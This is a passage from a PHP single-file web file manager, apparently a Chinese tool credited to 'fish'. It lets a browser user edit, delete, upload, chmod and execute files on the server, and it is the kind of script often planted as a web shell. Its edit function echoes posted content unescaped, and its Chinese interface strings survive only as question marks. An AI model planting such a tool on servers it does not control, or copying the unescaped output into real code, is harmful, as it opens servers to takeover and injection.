1166					echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($real_file) . '">' . html($file['target']) . '</a>';
1167				}
1168			} else {
1169				echo html($file['target']);
1170			}
1171
1172		} elseif ($file['is_dir']) {
1173
1174			echo '<img src="' . $self . '?image=folder" alt="folder" /> [ ';
1175			if ($win || $file['is_executable']) {
1176				echo '<a href="' . $self . '?dir=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1177			} else {
1178				echo html($file['filename']);
1179			}
1180			echo ' ]';
1181
1182		} else {
1183
1184			if (substr($file['filename'], 0, 1) == '.') {
1185				echo '<img src="' . $self . '?image=hidden_file" alt="hidden file" /> ';
1186			} else {
1187				echo '<img src="' . $self . '?image=file" alt="file" /> ';
1188			}
1189
1190			if ($file['is_file'] && $file['is_readable']) {
1191			   echo '<a href="' . $self . '?action=view&amp;file=' . urlencode($file['path']) . '">' . html($file['filename']) . '</a>';
1192			} else {
1193				echo html($file['filename']);
1194			}
1195
1196		}
1197
1198		if ($file['size'] >= 1000) {
1199			$human = ' title="' . human_filesize($file['size']) . '"';
1200		} else {
1201			$human = '';
1202		}
1203
1204		echo "</td>\n";
1205
1206		echo "\t<td class=\"size\"$human>{$file['size']} B</td>\n";
1207
1208		if (!$win) {
1209
1210			echo "\t<td class=\"permission\" title=\"" . decoct($file['permission']) . '">';
1211
1212			$l = !$file['is_link'] && (!function_exists('posix_getuid') || $file['owner'] == posix_getuid());
1213			if ($l) echo '<a href="' . $self . '?action=permission&amp;file=' . urlencode($file['path']) . '&amp;dir=' . urlencode($directory) . '">';
1214			echo html(permission_octal2string($file['permission']));
1215			if ($l) echo '</a>';
1216
1217			echo "</td>\n";
1218
1219			if (array_key_exists('owner_name', $file)) {
1220				echo "\t<td class=\"owner\" title=\"uid: {$file['owner']}\">{$file['owner_name']}</td>\n";
1221			} else {
1222				echo "\t<td class=\"owner\">{$file['owner']}</td>\n";
1223			}
1224
1225			if (array_key_exists('group_name', $file)) {
1226				echo "\t<td class=\"group\" title=\"gid: {$file['group']}\">{$file['group_name']}</td>\n";
1227			} else {
1228				echo "\t<td class=\"group\">{$file['group']}</td>\n";
1229			}
1230
1231		}
1232
1233		echo '	<td class="functions">
1234		<input type="hidden" name="file' . $i . '" value="' . html($file['path']) . '" />
1235';
1236
1237		$actions = array();
1238		if (function_exists('symlink')) {
1239			$actions[] = 'create_symlink';
1240		}
1241		if (@is_writable(dirname($file['path']))) {
1242			$actions[] = 'delete';
1243			$actions[] = 'rename';
1244			$actions[] = 'move';
1245		}
1246		if ($file['is_file'] && $file['is_readable']) {
1247			$actions[] = 'copy';
1248			$actions[] = 'download';
1249			if ($file['is_writable']) $actions[] = 'edit';
1250		}
1251		if (!$win && function_exists('exec') && $file['is_file'] && $file['is_executable'] && file_exists('/bin/sh')) {
1252			$actions[] = 'execute';
1253		}
1254
1255		if (sizeof($actions) > 0) {
1256
1257			echo '		<select class="small" name="action' . $i . '" size="1">
1258		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
1259';
1260
1261			foreach ($actions as $action) {
1262				echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1263			}
1264
1265			echo '		</select>
1266		<input class="small" type="submit" name="submit' . $i . '" value=" &gt; " onfocus="activate(\'other\')" />
1267';
1268
1269		}
1270
1271		echo '	</td>
1272</tr>
1273';
1274
1275	}
1276
1277	echo '<tr class="listing_footer">
1278	<td style="text-align: right; vertical-align: top"><img src="' . $self . '?image=arrow" alt="&gt;" /></td>
1279	<td colspan="' . ($cols - 1) . '">
1280		<input type="hidden" name="num" value="' . sizeof($list) . '" />
1281		<input type="hidden" name="focus" value="" />
1282		<input type="hidden" name="olddir" value="' . html($directory) . '" />
1283';
1284
1285	$actions = array();
1286	if (@is_writable(dirname($file['path']))) {
1287		$actions[] = 'delete';
1288		$actions[] = 'move';
1289	}
1290	$actions[] = 'copy';
1291
1292	echo '		<select class="small" name="action_all" size="1">
1293		<option value="">' . str_repeat('&nbsp;', 30) . '</option>
1294';
1295
1296	foreach ($actions as $action) {
1297		echo "\t\t<option value=\"$action\">" . word($action) . "</option>\n";
1298	}
1299
1300	echo '		</select>
1301		<input class="small" type="submit" name="submit_all" value=" &gt; " onfocus="activate(\'other\')" />
1302	</td>
1303</tr>
1304';
1305
1306}
1307
1308function column_title ($column, $sort, $reverse) {
1309	global $self, $directory;
1310
1311	$d = 'dir=' . urlencode($directory) . '&amp;';
1312
1313	if ($sort == $column) {
1314		if (!$reverse) {
1315			$r = '&amp;reverse=true';
1316			$arr = ' &and;';
1317		} else {
1318			$arr = ' &or;';
1319		}
1320	} else {
1321		$r = '';
1322	}
1323	echo "\t<th class=\"$column\"><a href=\"$self?{$d}sort=$column$r\">" . word($column) . "</a>$arr</th>\n";
1324
1325}
1326
1327function directory_choice () {
1328	global $directory, $homedir, $cols, $self;
1329
1330	echo '<tr>
1331	<td colspan="' . $cols . '" id="directory">
1332		<a href="' . $self . '?dir=' . urlencode($homedir) . '">' . word('directory') . '</a>:
1333		<input type="text" name="dir" size="' . textfieldsize($directory) . '" value="' . html($directory) . '" onfocus="activate(\'directory\')" />
1334		<input type="submit" name="changedir" value="' . word('change') . '" onfocus="activate(\'directory\')" />
1335	</td>
1336</tr>
1337';
1338
1339}
1340
1341function upload_box () {
1342	global $cols;
1343
1344	echo '<tr>
1345	<td colspan="' . $cols . '" id="upload">
1346		' . word('file') . ':
1347		<input type="file" name="upload" onfocus="activate(\'other\')" />
1348		<input type="submit" name="submit_upload" value="' . word('upload') . '" onfocus="activate(\'other\')" />
1349	</td>
1350</tr>
1351';
1352
1353}
1354
1355function create_box () {
1356	global $cols;
1357
1358	echo '<tr>
1359	<td colspan="' . $cols . '" id="create">
1360		<select name="create_type" size="1" onfocus="activate(\'create\')">
1361		<option value="file">' . word('file') . '</option>
1362		<option value="directory">' . word('directory') . '</option>
1363		</select>
1364		<input type="text" name="create_name" onfocus="activate(\'create\')" />
1365		<input type="submit" name="submit_create" value="' . word('create') . '" onfocus="activate(\'create\')" />
1366	</td>
1367</tr>
1368';
1369
1370}
1371
1372function edit ($file) {
1373	global $self, $directory, $editcols, $editrows, $apache, $htpasswd, $htaccess;
1374
1375	html_header();
1376
1377	echo '<h2 style="margin-bottom: 3pt">' . html($file) . '</h2>
1378
1379<form action="' . $self . '" method="post">
1380
1381<table class="dialog">
1382<tr>
1383<td class="dialog">
1384
1385	<textarea name="content" cols="' . $editcols . '" rows="' . $editrows . '" WRAP="off">';
1386
1387	if (array_key_exists('content', $_POST)) {
1388		echo $_POST['content'];
1389	} else {
1390		$f = fopen($file, 'r');
1391		while (!feof($f)) {
1392			echo html(fread($f, 8192));
1393		}
1394		fclose($f);
1395	}
1396
1397	if (!empty($_POST['user'])) {
1398		echo "\n" . $_POST['user'] . ':' . crypt($_POST['password']);
1399	}
1400	if (!empty($_POST['basic_auth'])) {
1401		if ($win) {
1402			$authfile = str_replace('\\', '/', $directory) . $htpasswd;
1403		} else {
1404			$authfile = $directory . $htpasswd;
1405		}
1406		echo "\nAuthType Basic\nAuthName &quot;Restricted Directory&quot;\n";
1407		echo 'AuthUserFile &quot;' . html($authfile) . "&quot;\n";
1408		echo 'Require valid-user';
1409	}
1410
1411	echo '</textarea>
1412
1413	<hr />
1414';
1415
1416	if ($apache && basename($file) == $htpasswd) {
1417		echo '
1418	' . word('user') . ': <input type="text" name="user" />
1419	' . word('password') . ': <input type="password" name="password" />
1420	<input type="submit" value="' . word('add') . '" />
1421
1422	<hr />
1423';
1424
1425	}
1426
1427	if ($apache && basename($file) == $htaccess) {
1428		echo '
1429	<input type="submit" name="basic_auth" value="' . word('add_basic_auth') . '" />
1430
1431	<hr />
1432';
1433
1434	}
1435
1436	echo '
1437	<input type="hidden" name="action" value="edit" />
1438	<input type="hidden" name="file" value="' . html($file) . '" />
1439	<input type="hidden" name="dir" value="' . html($directory) . '" />
1440	<input type="reset" value="' . word('reset') . '" id="red_button" />
1441	<input type="submit" name="save" value="' . word('save') . '" id="green_button" style="margin-left: 50px" />
1442
1443</td>
1444</tr>
1445</table>
1446
1447<p><a href="' . $self . '?dir=' . urlencode($directory) . '">[ ' . word('back') . ' ]</a></p>
1448
1449</form>
1450
1451';
1452
1453	html_footer();
1454
1455}
1456
1457function spacer () {
1458	global $cols;
1459
1460	echo '<tr>
1461	<td colspan="' . $cols . '" style="height: 1em"></td>
1462</tr>
1463';
1464
1465}
1466
1467function textfieldsize ($content) {
1468
1469	$size = strlen($content) + 5;
1470	if ($size < 30) $size = 30;
1471
1472	return $size;
1473
1474}
1475
1476function request_dump () {
1477
1478	foreach ($_REQUEST as $key => $value) {
1479		echo "\t<input type=\"hidden\" name=\"" . html($key) . '" value="' . html($value) . "\" />\n";
1480	}
1481
1482}
1483
1484/* ------------------------------------------------------------------------- */
1485
1486function html ($string) {
1487	global $site_charset;
1488	return htmlentities($string, ENT_COMPAT, $site_charset);
1489}
1490
1491function word ($word) {
1492	global $words, $word_charset;
1493	return htmlentities($words[$word], ENT_COMPAT, $word_charset);
1494}
1495
1496function phrase ($phrase, $arguments) {
1497	global $words;
1498	static $search;
1499
1500	if (!is_array($search)) for ($i = 1; $i <= 8; $i++) $search[] = "%$i";
1501
1502	for ($i = 0; $i < sizeof($arguments); $i++) {
1503		$arguments[$i] = nl2br(html($arguments[$i]));
1504	}
1505
1506	$replace = array('{' => '<pre>', '}' =>'</pre>', '[' => '<b>', ']' => '</b>');
1507
1508	return str_replace($search, $arguments, str_replace(array_keys($replace), $replace, nl2br(html($words[$phrase]))));
1509
1510}
1511
1512function getwords ($lang) {
1513	global $word_charset, $date_format;
1514
1515	switch ($lang) {
1516	case 'cn':
1517	default:
1518
1519		$date_format = 'n/j/y H:i:s';
1520		$word_charset = 'gb2312';
1521
1522		return array(
1523'directory' => '??',
1524'file' => '??',
1525'filename' => '???',
1526
1527'size' => '??',
1528'permission' => '??',
1529'owner' => '???',
1530'group' => '???',
1531'other' => '??',
1532'functions' => '??',
1533
1534'read' => '??',
1535'write' => '??',
1536'execute' => '???',
1537
1538'create_symlink' => '?? symlink',
1539'delete' => '??',
1540'rename' => '???',
1541'move' => '??',
1542'copy' => '??',
1543'edit' => '??',
1544'download' => '??',
1545'upload' => '??',
1546'create' => '??',
1547'change' => '??',
1548'save' => '??',
1549'set' => '??',
1550'reset' => '???',
1551'relative' => '??????',
1552
1553'yes' => '?',
1554'no' => '?',
1555'back' => '??',
1556'destination' => '???',
1557'symlink' => 'Symlink',
1558'no_output' => '???',
1559
1560'user' => '??',
1561'password' => '??',
1562'add' => '??',
1563'add_basic_auth' => '??basic-authentification',
1564
1565'uploaded' => '"[%1]" ??????',
1566'not_uploaded' => '"[%1]" ?????',
1567'already_exists' => '"[%1]" ???.',
1568'created' => '"[%1]" ????',
1569'not_created' => '"[%1]" ?????',
1570'really_delete' => '?????????',
1571'deleted' => "?????????:\n[%1]",
1572'not_deleted' => "?????????:\n[%1]",
1573'rename_file' => '?????:',
1574'renamed' => '"[%1]" ????? "[%2]".',
1575'not_renamed' => '"[%1] ?????? "[%2]".',
1576'move_files' => '??????:',
1577'moved' => "????????? \"[%2]\":\n[%1]",
1578'not_moved' => "?????????? \"[%2]\":\n[%1]",
1579'copy_files' => '??????:',
1580'copied' => "?????????? \"[%2]\":\n[%1]",
1581'not_copied' => "????????? \"[%2]\":\n[%1]",
1582'not_edited' => '"[%1]" ??????',
1583'executed' => "\"[%1]\" ?????:\n{%2}",
1584'not_executed' => "\"[%1]\" ??????:\n{%2}",
1585'saved' => '"[%1]" ????.',
1586'not_saved' => '"[%1]" ????.',
1587'symlinked' => 'Symlink ? "[%2]" ? "[%1]" ????.',
1588'not_symlinked' => 'Symlink ? "[%2]" ? "[%1]" ????.',
1589'permission_for' => '?? "[%1]":',
1590'permission_set' => '?? "[%1]" ???? [%2].',
1591'permission_not_set' => 'P?? "[%1]" ?????? [%2].',
1592'not_readable' => '"[%1]" ????'
1593		);
1594
1595	}
1596
1597}
1598
1599function getimage ($image) {
1600	switch ($image) {
1601	case 'file':
1602		return base64_decode('R0lGODlhEQANAJEDAJmZmf///wAAAP///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
1603	case 'folder':
1604		return base64_decode('R0lGODlhEQANAJEDAJmZmf///8zMzP///yH5BAHoAwMALAAAAAARAA0AAAIqnI+ZwKwbYgTPtIudlbwLOgCBQJYmCYrn+m3smY5vGc+0a7dhjh7ZbygAADsA');
1605	case 'hidden_file':
1606		return base64_decode('R0lGODlhEQANAJEDAMwAAP///5mZmf///yH5BAHoAwMALAAAAAARAA0AAAItnIGJxg0B42rsiSvCA/REmXQWhmnih3LUSGaqg35vFbSXucbSabunjnMohq8CADsA');
1607	case 'link':
1608		return base64_decode('R0lGODlhEQANAKIEAJmZmf///wAAAMwAAP///wAAAAAAAAAAACH5BAHoAwQALAAAAAARAA0AAAM5SArcrDCCQOuLcIotwgTYUllNOA0DxXkmhY4shM5zsMUKTY8gNgUvW6cnAaZgxMyIM2zBLCaHlJgAADsA');
1609	case 'smiley':
1610		return base64_decode('R0lGODlhEQANAJECAAAAAP//AP///wAAACH5BAHoAwIALAAAAAARAA0AAAIslI+pAu2wDAiz0jWD3hqmBzZf1VCleJQch0rkdnppB3dKZuIygrMRE/oJDwUAOwA=');
1611	case 'arrow':
1612		return base64_decode('R0lGODlhEQANAIABAAAAAP///yH5BAEKAAEALAAAAAARAA0AAAIdjA9wy6gNQ4pwUmav0yvn+hhJiI3mCJ6otrIkxxQAOw==');
1613	}
1614}
1615
1616function html_header () {
1617	global $site_charset;
1618
1619	echo <<<END
1620<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
1621     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
1622<html xmlns="http://www.w3.org/1999/xhtml">
1623<head>
1624
1625<meta http-equiv="Content-Type" content="text/html; charset=$site_charset" />
1626
1627<title>??????--fish?????</title>
1628
1629<style type="text/css">
1630body { font: small sans-serif; text-align: center }
1631img { width: 17px; height: 13px }
1632a, a:visited { text-decoration: none; color: navy }
1633hr { border-style: none; height: 1px; background-color: silver; color: silver }
1634#main { margin-top: 6pt; margin-left: auto; margin-right: auto; border-spacing: 1px }
1635#main th { background: #eee; padding: 3pt 3pt 0pt 3pt }
1636.listing th, .listing td { padding: 1px 3pt 0 3pt }
1637.listing th { border: 1px solid silver }
1638.listing td { border: 1px solid #ddd; background: white }
1639.listing .checkbox { text-align: center }
1640.listing .filename { text-align: left }
1641.listing .size { text-align: right }
1642.listing th.permission { text-align: left }
1643.listing td.permission { font-family: monospace }
1644.listing .owner { text-align: left }
1645.listing .group { text-align: left }
1646.listing .functions { text-align: left }
1647.listing_footer td { background: #eee; border: 1px solid silver }
1648#directory, #upload, #create, .listing_footer td, #error td, #notice td { text-align: left; padding: 3pt }
1649#directory { background: #eee; border: 1px solid silver }
1650#upload { padding-top: 1em }
1651#create { padding-bottom: 1em }
1652.small, .small option { font-size: x-small }
1653textarea { border: none; background: white }
1654table.dialog { margin-left: auto; margin-right: auto }
1655td.dialog { background: #eee; padding: 1ex; border: 1px solid silver; text-align: center }
1656#permission { margin-left: auto; margin-right: auto }
1657#permission td { padding-left: 3pt; padding-right: 3pt; text-align: center }
1658td.permission_action { text-align: right }
1659#symlink { background: #eee; border: 1px solid silver }
1660#symlink td { text-align: left; padding: 3pt }
1661#red_button { width: 120px; color: #400 }
1662#green_button { width: 120px; color: #040 }
1663#error td { background: maroon; color: white; border: 1px solid silver }
1664#notice td { background: green; color: white; border: 1px solid silver }
1665#notice pre, #error pre { background: silver; color: black; padding: 1ex; margin-left: 1ex; margin-right: 1ex }
1666code { font-size: 12pt }
1667td { white-space: nowrap }
1668</style>
1669
1670<script type="text/javascript">
1671<!--
1672function activate (name) {
1673	if (document && document.forms[0] && document.forms[0].elements['focus']) {
1674		document.forms[0].elements['focus'].value = name;
1675	}
1676}
1677//-->
1678</script>
1679
1680</head>
1681<body>
1682
1683
1684END;
1685
1686}
1687
1688function html_footer () {
1689
1690	echo <<<END
1691?<a href="mailto:qq37479055@126.com">fish</a>????<a href="http://www.mydf.cn" target="_blank">www.mydf.cn</a>
1692</body>
1693</html>
1694END;
1695
1696}
1697
1698function notice ($phrase) {
1699	global $cols;
1700
1701	$args = func_get_args();
1702	array_shift($args);
1703
1704	return '<tr id="notice">
1705	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
1706</tr>
1707';
1708
1709}
1710
1711function error ($phrase) {
1712	global $cols;
1713
1714	$args = func_get_args();
1715	array_shift($args);
1716
1717	return '<tr id="error">
1718	<td colspan="' . $cols . '">' . phrase($phrase, $args) . '</td>
1719</tr>
1720';
1721
1722}
1723
1724?>